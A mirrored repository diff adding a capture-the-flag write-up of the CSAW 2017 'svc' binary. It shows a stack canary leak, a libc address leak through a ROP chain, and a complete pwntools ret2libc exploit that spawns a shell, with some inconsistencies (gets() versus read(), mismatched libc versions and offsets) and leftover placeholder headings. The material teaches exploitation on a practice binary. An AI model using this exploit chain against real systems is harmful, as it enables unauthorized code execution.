mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 12:27:02 +00:00
add hacking blogposts as they are
This commit is contained in:
parent
fa65088be1
commit
325b9c3814
1904 changed files with 91353 additions and 0 deletions
604
2/svc.md
Normal file
604
2/svc.md
Normal file
|
@ -0,0 +1,604 @@
|
|||
# Csaw 2017 SVC
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/svc
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/core
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/libc-2.23.so
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ chmod +x svc ; ls -lash
|
||||
total 7.6M
|
||||
4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 6 16:16 .
|
||||
4.0K drwxr-xr-x 11 nothing nothing 4.0K Mar 6 16:14 ..
|
||||
5.8M -rw-r--r-- 1 nothing nothing 5.8M Mar 6 16:16 core
|
||||
1.8M -rw-r--r-- 1 nothing nothing 1.8M Mar 6 16:16 libc-2.23.so
|
||||
12K -rwxr-xr-x 1 nothing nothing 11K Mar 6 16:16 svc
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
Now let's check out what the binary does when we execute it after using pwn checksec on it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ pwn checksec svc
|
||||
[*] '/home/nothing/binexp/2/svc/svc'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ ./svc
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>1
|
||||
|
||||
|
||||
So we see that this is a 64bit dynamically linked binary, it has a stack canary and a non executable stack (NX). Basically, the binary asks us if we want to 1) feed the csv with some text input, 2) review what we just put in, or 3 to quit.
|
||||
|
||||
|
||||
-------------------------
|
||||
[*]SCV IS ALWAYS HUNGRY.....
|
||||
-------------------------
|
||||
[*]GIVE HIM SOME FOOD.......
|
||||
-------------------------
|
||||
>>foodfoodfood
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>2
|
||||
-------------------------
|
||||
[*]REVIEW THE FOOD...........
|
||||
-------------------------
|
||||
[*]PLEASE TREAT HIM WELL.....
|
||||
-------------------------
|
||||
foodfoodfood
|
||||
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>1
|
||||
|
||||
|
||||
|
||||
-------------------------
|
||||
[*]SCV IS ALWAYS HUNGRY.....
|
||||
-------------------------
|
||||
[*]GIVE HIM SOME FOOD.......
|
||||
-------------------------
|
||||
>>feedfeedfeed
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>2
|
||||
-------------------------
|
||||
[*]REVIEW THE FOOD...........
|
||||
-------------------------
|
||||
[*]PLEASE TREAT HIM WELL.....
|
||||
-------------------------
|
||||
feedfeedfeed
|
||||
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>3
|
||||
[*]BYE ~ TIME TO MINE MIENRALS...
|
||||
|
||||
|
||||
|
||||
Now that we see how the binary works approximately, let's check it out inside of ghidra:
|
||||
|
||||

|
||||
|
||||
Since the main function of the binary is not called 'main' we just search (CTRL+SHIFT+E) in ghidra for one of the keywords that the binary previously gave us like the 'FEED' word and thus we find that the main function is FUN_00400a96, and is quite gigantic so we're going to only focus on the parts we need:
|
||||
|
||||
|
||||
undefined8 FUN_00400a96(void)
|
||||
|
||||
{
|
||||
while (local_c0 != 0) {
|
||||
pbVar1 = std::operator<<((basic_ostream *)std::cout,"-------------------------");
|
||||
|
||||
[...]
|
||||
|
||||
std::operator<<((basic_ostream *)std::cout,">>");
|
||||
std::basic_istream>::operator>>
|
||||
((basic_istream> *)std::cin,&local;_c4);
|
||||
|
||||
if (local_c4 == 2) {
|
||||
}
|
||||
|
||||
if (local_c4 == 2) {
|
||||
pbVar1 = std::operator<<((basic_ostream *)std::cout,"-------------------------");
|
||||
std::basic_ostream>::operator<<
|
||||
}
|
||||
|
||||
if (local_c4 == 3) {
|
||||
|
||||
}
|
||||
|
||||
[...]
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
First of all we see that we enter a while loop, and for each iteration of the loop it prompts us for a menu option in local_c4. for the option to scan in data (option 1) we see the following:
|
||||
|
||||
|
||||
if (local_c4 == 1) {
|
||||
|
||||
[...]
|
||||
|
||||
sVar2 = read(0,local_b8,0xf8);
|
||||
local_bc = (undefined4)sVar2;
|
||||
}
|
||||
else {
|
||||
pbVar1 = std::operator<<((basic_ostream *)std::cout,"[*]DO NOT HURT MY SCV....");
|
||||
std::basic_ostream>::operator<<
|
||||
((basic_ostream> *)pbVar1,
|
||||
std::endl>);
|
||||
}
|
||||
|
||||
|
||||
we see that it uses the read() function to scan in **0xf8** bytes of data into the input variable called **local_b8** Now let's set our breakpoint right after the read() call at 0x400cd3:
|
||||
|
||||

|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ gdb ./svc
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./svc...
|
||||
(No debugging symbols found in ./svc)
|
||||
gef➤ b *0x400cd3
|
||||
Breakpoint 1 at 0x400cd3
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/svc/svc
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>1
|
||||
-------------------------
|
||||
[*]SCV IS ALWAYS HUNGRY.....
|
||||
-------------------------
|
||||
[*]GIVE HIM SOME FOOD.......
|
||||
-------------------------
|
||||
>>13371337
|
||||
|
||||
Breakpoint 1, 0x0000000000400cd3 in ?? ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x9
|
||||
$rbx : 0x0000000000400e40 → push r15
|
||||
$rcx : 0x00007ffff7ce0052 → 0x5677fffff0003d48 ("H="?)
|
||||
$rdx : 0xf8
|
||||
$rsp : 0x00007fffffffde80 → 0x00000001f7f96ee0
|
||||
$rbp : 0x00007fffffffdf40 → 0x0000000000000000
|
||||
$rsi : 0x00007fffffffde90 → "13371337\n\t@"
|
||||
$rdi : 0x0
|
||||
$rip : 0x0000000000400cd3 → mov DWORD PTR [rbp-0xb4], eax
|
||||
$r8 : 0x2
|
||||
$r9 : 0x0000000000602000 → 0x0000000000601e18 → 0x0000000000000001
|
||||
$r10 : 0xfffffffffffffb88
|
||||
$r11 : 0x246
|
||||
$r12 : 0x00000000004009a0 → xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffde80│+0x0000: 0x00000001f7f96ee0 ← $rsp
|
||||
0x00007fffffffde88│+0x0008: 0x0000000000000001
|
||||
0x00007fffffffde90│+0x0010: "13371337\n\t@" ← $rsi
|
||||
0x00007fffffffde98│+0x0018: 0x000000000040090a → add cl, ch
|
||||
0x00007fffffffdea0│+0x0020: 0x0000000000602080 → 0x0000000000000000
|
||||
0x00007fffffffdea8│+0x0028: 0x00007ffff7c2fac6 → <__internal_atexit+70> test rax, rax
|
||||
0x00007fffffffdeb0│+0x0030: 0x0000000000000001
|
||||
0x00007fffffffdeb8│+0x0038: 0x00007fffffffdef0 → 0x00007fffffffdf00 → 0x0000000000000002
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400cc6 mov rsi, rax
|
||||
0x400cc9 mov edi, 0x0
|
||||
0x400cce call 0x400900
|
||||
●→ 0x400cd3 mov DWORD PTR [rbp-0xb4], eax
|
||||
0x400cd9 jmp 0x400dc0
|
||||
0x400cde mov esi, 0x400ec8
|
||||
0x400ce3 mov edi, 0x6021e0
|
||||
0x400ce8 call 0x400940 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
|
||||
0x400ced mov esi, 0x400980
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "svc", stopped 0x400cd3 in ?? (), reason: BREAKPOINT
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x400cd3 → mov DWORD PTR [rbp-0xb4], eax
|
||||
[#1] 0x7ffff7c17b25 → __libc_start_main()
|
||||
[#2] 0x4009c9 → hlt
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
So what we did here is basically to set the breakpoint right after the read() call, then we ran the binary, selected 1 to feed in our data, and gave in the pattern '13371337' Now from here let's find it by using search-pattern:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffde90 - 0x7fffffffde9d → "13371337\n\t@"
|
||||
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0x7fffffffdf50:
|
||||
rip = 0x400cd3; saved rip = 0x7ffff7c17b25
|
||||
called by frame at 0x7fffffffe020
|
||||
Arglist at 0x7fffffffde78, args:
|
||||
Locals at 0x7fffffffde78, Previous frame's sp is 0x7fffffffdf50
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffdf40, rip at 0x7fffffffdf48
|
||||
|
||||
|
||||
|
||||
Now here we see the memory address of our input at **0x7fffffffde90** and the memory address of the return address at **0x7fffffffdf48** and we calculate the offset as usual:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [blog/binexp/2]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7fffffffde90 - 0x7fffffffdf48 )
|
||||
'-0xb8'
|
||||
|
||||
|
||||
|
||||
Now we know that there is a 0xb8 offset between our input text and the return address
|
||||
|
||||
So let's summarize everything we got so far:
|
||||
|
||||
We have a buffer overflow bug that we can use because of a gets() call and we can get to the return address with it. However the first mitigation we will need to overcome is the stack canary. The stack canary is an eight byte random integer (we saw that it was 4 bytes for x86 systems in the previous challenge [feed](feed.html))
|
||||
|
||||
However, before the return address is executed, it checks to see if the stack canary has the same value. If it doesn't the program will end. To bypass this, we need to leak the stack canary. That way we can just overwrite the stack canary with itself, so it will pass the stack cnary to check and execute the return address, which we will overwrite with our buffer overflow
|
||||
|
||||
We will leak the stack canary thanks to the following **puts()** call that is being used in the second option:
|
||||
|
||||
|
||||
if (local_c4 == 2) {
|
||||
|
||||
[...]
|
||||
|
||||
puts(local_b8);
|
||||
}
|
||||
|
||||
|
||||
it is going to print data that it is given by a pointer until it reaches a null byte. With stack canaries the least significant byte is a null byte. SO we will just send enough data to just overflow the LSB of the stack canary, and then print our input. This will print all of our data and the highest seven eight bytes of the stack canary, and since the lowest byte will always be a nullbyte, we know the full stack canary. With this we can just execute the buffer overflow again and write over the stack canary itself in order to defeat this mitigation.
|
||||
|
||||
To leak the stack canary we will need to send **0xa9** bytes of data, the first **0xa8** will be to fill up the input char array, and the last byte will be to overwrite the LSB of the stack canary. So let's take a look at the memory in more detail since we know that our input starts at **0x7fffffffde90** :
|
||||
|
||||
|
||||
gef➤ x/24g 0x7fffffffde90
|
||||
0x7fffffffde90: 0x3733333137333331 0x40090a
|
||||
0x7fffffffdea0: 0x602080 0x7ffff7c2fac6
|
||||
0x7fffffffdeb0: 0x1 0x7fffffffdef0
|
||||
0x7fffffffdec0: 0x601df8 0x7fffffffe048
|
||||
0x7fffffffded0: 0x7fffffffe038 0x400e1b
|
||||
0x7fffffffdee0: 0x11bf 0x10000ffff
|
||||
0x7fffffffdef0: 0x7fffffffdf00 0x400e31
|
||||
0x7fffffffdf00: 0x2 0x400e8d
|
||||
0x7fffffffdf10: 0x0 0x400e40
|
||||
0x7fffffffdf20: 0x0 0x4009a0
|
||||
0x7fffffffdf30: 0x7fffffffe030 0x6a77910e1ec4300
|
||||
0x7fffffffdf40: 0x0 0x7ffff7c17b25
|
||||
|
||||
|
||||
|
||||
Here we see that our payload begins at 0x7fffffffde90 since there are only 1s 3s and 7s, although i'm not sure as to what it has been formatted to, we see that **0xa8** bytes down the stack the stack canary **0x6a77910e1ec4300** at **0x7fffffffdf38**
|
||||
|
||||
The next step is to defeat the ASLR. ASLR is a mitigation that randomizes the addresses sections of memory. This way when we run the program, we don't actually know where various things in memory are. While the addresses are randomized, the spacing between things are not. For instance the libc (where all the standard functions lik eputs, printf, fgets are stored most of the time) the address of **puts** and **system** will be different everytime we run the program. However the offset between them will remain the same. SO if we leak the address of **puts** we will also leak the address of **system** if we know the offset between the 2. This will allow us to break ASLR in the region where we know one memory and the offset to the next. So let's take a look at the vmmap inside of gdb while we run the binary:
|
||||
|
||||
|
||||
gef➤ vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/nothing/binexp/2/svc/svc
|
||||
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/nothing/binexp/2/svc/svc
|
||||
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/nothing/binexp/2/svc/svc
|
||||
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7a8d000 0x00007ffff7a91000 0x0000000000000000 rw-
|
||||
0x00007ffff7a91000 0x00007ffff7a94000 0x0000000000000000 r-- /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7a94000 0x00007ffff7aa5000 0x0000000000003000 r-x /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7aa5000 0x00007ffff7aa9000 0x0000000000014000 r-- /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7aa9000 0x00007ffff7aaa000 0x0000000000017000 r-- /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7aaa000 0x00007ffff7aab000 0x0000000000018000 rw- /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7aab000 0x00007ffff7aba000 0x0000000000000000 r-- /usr/lib/libm-2.33.so
|
||||
0x00007ffff7aba000 0x00007ffff7b55000 0x000000000000f000 r-x /usr/lib/libm-2.33.so
|
||||
0x00007ffff7b55000 0x00007ffff7bed000 0x00000000000aa000 r-- /usr/lib/libm-2.33.so
|
||||
0x00007ffff7bed000 0x00007ffff7bee000 0x0000000000142000 --- /usr/lib/libm-2.33.so
|
||||
0x00007ffff7bee000 0x00007ffff7bef000 0x0000000000142000 r-- /usr/lib/libm-2.33.so
|
||||
|
||||
0x00007ffff7bef000 0x00007ffff7bf0000 0x0000000000143000 rw- /usr/lib/libm-2.33.so
|
||||
0x00007ffff7bf0000 0x00007ffff7c16000 0x0000000000000000 r-- /usr/lib/libc-2.33.so
|
||||
0x00007ffff7c16000 0x00007ffff7d62000 0x0000000000026000 r-x /usr/lib/libc-2.33.so
|
||||
0x00007ffff7d62000 0x00007ffff7dae000 0x0000000000172000 r-- /usr/lib/libc-2.33.so
|
||||
0x00007ffff7dae000 0x00007ffff7db1000 0x00000000001bd000 r-- /usr/lib/libc-2.33.so
|
||||
0x00007ffff7db1000 0x00007ffff7db4000 0x00000000001c0000 rw- /usr/lib/libc-2.33.so
|
||||
0x00007ffff7db4000 0x00007ffff7dbd000 0x0000000000000000 rw-
|
||||
|
||||
0x00007ffff7dbd000 0x00007ffff7e53000 0x0000000000000000 r-- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7e53000 0x00007ffff7f3f000 0x0000000000096000 r-x /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f3f000 0x00007ffff7f88000 0x0000000000182000 r-- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f88000 0x00007ffff7f89000 0x00000000001cb000 --- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f89000 0x00007ffff7f96000 0x00000000001cb000 r-- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f96000 0x00007ffff7f97000 0x00000000001d8000 rw- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f97000 0x00007ffff7f9c000 0x0000000000000000 rw-
|
||||
0x00007ffff7fc6000 0x00007ffff7fca000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fca000 0x00007ffff7fcc000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fcc000 0x00007ffff7fcd000 0x0000000000000000 r-- /usr/lib/ld-2.33.so
|
||||
0x00007ffff7fcd000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/ld-2.33.so
|
||||
0x00007ffff7ff1000 0x00007ffff7ffa000 0x0000000000025000 r-- /usr/lib/ld-2.33.so
|
||||
0x00007ffff7ffb000 0x00007ffff7ffd000 0x000000000002e000 r-- /usr/lib/ld-2.33.so
|
||||
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000030000 rw- /usr/lib/ld-2.33.so
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
|
||||
|
||||
|
||||
|
||||
Here we want to break ASLR in the **libc-2.23.so** region where we have read and write permissions, therefore at **00007ffff7bf0000**.
|
||||
|
||||
To do the puts function infoleak, we will need 3 things. The plt address of **puts** (address of the imported function which we will use to call it), the address of the got entry of **puts** which holds the libc address, and a **rop gadget** to pop the got entry into the rdi register, and then return.
|
||||
|
||||
Since the puts call expects it's input (a single char pointer) in the rdi register, that is where we need to place it. To find the **plt** and **got** addresses, we can use pwntools:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/svc]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> from pwn import *
|
||||
>>> elf = ELF('svc')
|
||||
[*] '/home/nothing/binexp/2/svc/svc'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
>>> print("plt addr:" + hex(elf.symbols['puts']))
|
||||
plt addr:0x4008d0
|
||||
>>> print("got addr:" + hex(elf.got['puts']))
|
||||
got addr:0x602018
|
||||
|
||||
|
||||
|
||||
To find the gadget we need, let's use [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) like we used in the previous challenges already
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/svc]
|
||||
→ ROPgadget --binary svc| grep "pop rdi"
|
||||
0x0000000000400ea3 : pop rdi ; ret
|
||||
|
||||
|
||||
|
||||
The last mitigation we will overcome is the NX (Non executable stack), this means that the stack does not have the execute permission. SO we cannot execute code on the stack. Our method to bypass this will have to be a mix of a ROP chain, and a ret2libc (return to libc) attack. ROP is when we take bits of code that already are in the binary and make them work together in the manner that we want.
|
||||
|
||||
What we need here is to use ROP Gadgets, which are essentially pointers to the bits of code that end in a **ret** instruction which will make it move to the next gadget. Since these are all valid instruction pointers to code that should run, it will be markeed as executable regardless of the NX.
|
||||
|
||||
|
||||
gef➤ p puts
|
||||
$1 = {<****text variable, no debug info>} 0x7ffff7c66cd0
|
||||
gef➤ p system
|
||||
$2 = {<****text variable, no debug info>} 0x7ffff7c3a120
|
||||
gef➤ search-pattern /bin/sh
|
||||
[+] Searching '/bin/sh' in memory
|
||||
[+] In '/usr/lib/libc-2.33.so'(0x7ffff7d62000-0x7ffff7dae000), permission=r--
|
||||
0x7ffff7d7c966 - 0x7ffff7d7c96d → "/bin/sh"
|
||||
|
||||
|
||||
|
||||
We calculate the offsets:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [blog/binexp/2]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7ffff7c66cd0 - 0x00007ffff7d62000 )
|
||||
'-0xfb330'
|
||||
>>> hex( 0x7ffff7c3a120 - 0x00007ffff7d62000 )
|
||||
'-0x127ee0'
|
||||
>>> hex( 0x7ffff7d7c966 - 0x00007ffff7d62000 )
|
||||
'0x1a966'
|
||||
|
||||
|
||||
|
||||
and with this we can create the exploit:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process("./svc")
|
||||
gdb.attach(target)
|
||||
|
||||
elf = ELF('svc')
|
||||
|
||||
|
||||
# 0x0000000000400ea3 : pop rdi ; ret
|
||||
popRdi = p64(0x400ea3)
|
||||
|
||||
gotPuts = p64(0x602018)
|
||||
pltPuts = p64(0x4008cc)
|
||||
|
||||
offsetPuts = 0xfb330
|
||||
offsetSystem = 0x127ee0
|
||||
offsetBinsh = 0x1a966
|
||||
|
||||
startMain = p64(0x400a96)
|
||||
|
||||
# Establish fucntions to handle I/O with the target
|
||||
def feed(data):
|
||||
print(target.recvuntil(">>"))
|
||||
target.sendline(b'1')
|
||||
print(target.recvuntil(">>"))
|
||||
target.send(data)
|
||||
|
||||
def review():
|
||||
print(target.recvuntil(">>"))
|
||||
target.sendline(b'2')
|
||||
#print target.recvuntil("[*]PLEASE TREAT HIM WELL.....\n-------------------------\n")
|
||||
#leak = target.recvuntil("-------------------------").replace("-------------------------", "")
|
||||
print(target.recvuntil(b"0"*0xa9))
|
||||
canaryLeak = target.recv(7)
|
||||
canary = u64(b"\x00" + canaryLeak)
|
||||
print("canary is: " + hex(canary))
|
||||
return canary
|
||||
|
||||
def leave():
|
||||
print(target.recvuntil(">>"))
|
||||
target.sendline(b"3")
|
||||
|
||||
# Start of with the canary leak. We will overflow the buffer write up to the stack canary, and overwrite the least signifcant byte of the canary
|
||||
leakCanary = b""
|
||||
leakCanary += b"0"*0xa8 # Fill up space up to the canary
|
||||
leakCanary += b"0" # Overwrite least significant byte of the canary
|
||||
|
||||
|
||||
|
||||
feed(leakCanary) # Execute the overwrite
|
||||
|
||||
canary = review() # Leak the canary, and parse it out
|
||||
|
||||
# Start the rop chain to give us a libc infoleak
|
||||
leakLibc = b""
|
||||
leakLibc += b"0"*0xa8 # Fill up space up to the canary
|
||||
leakLibc += p64(canary) # Overwrite the stack canary with itself
|
||||
leakLibc += b"1"*0x8 # 8 more bytes until the return address
|
||||
leakLibc += popRdi # Pop got entry for puts in rdi register
|
||||
leakLibc += gotPuts # GOT address of puts
|
||||
leakLibc += pltPuts # PLT address of puts
|
||||
leakLibc += startMain # Loop back around to the start of main
|
||||
|
||||
# Send the payload to leak libc
|
||||
feed(leakLibc)
|
||||
|
||||
# Return to execute our code
|
||||
leave()
|
||||
|
||||
# Scan in and parse out the infoleak
|
||||
|
||||
print(target.recvuntil("[*]BYE ~ TIME TO MINE MIENRALS...\x0a"))
|
||||
|
||||
putsLeak = target.recvline().replace(b"\x0a", b"")
|
||||
|
||||
putsLibc = u64(putsLeak + b"\x00"*(8-len(putsLeak)))
|
||||
|
||||
# Calculate the needed addresses
|
||||
|
||||
libcBase = putsLibc - offsetPuts
|
||||
systemLibc = libcBase + offsetSystem
|
||||
binshLibc = libcBase + offsetBinsh
|
||||
|
||||
print("libc base: " + hex(libcBase))
|
||||
|
||||
# Form the payload to return to system
|
||||
|
||||
payload = b""
|
||||
payload += b"0"*0xa8
|
||||
payload += p64(canary)
|
||||
payload += b"1"*0x8
|
||||
payload += popRdi # Pop "/bin/sh" into the rdi register, where it expects it's argument (single char pointer)
|
||||
payload += p64(binshLibc) # Address to '/bin/sh'
|
||||
payload += p64(systemLibc) # Libc address of system
|
||||
|
||||
# Send the final payload
|
||||
feed(payload)
|
||||
|
||||
target.sendline(b"3")
|
||||
|
||||
#feed(payload)
|
||||
|
||||
# Return to execute our code, return to system and get a shell
|
||||
#leave()
|
||||
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue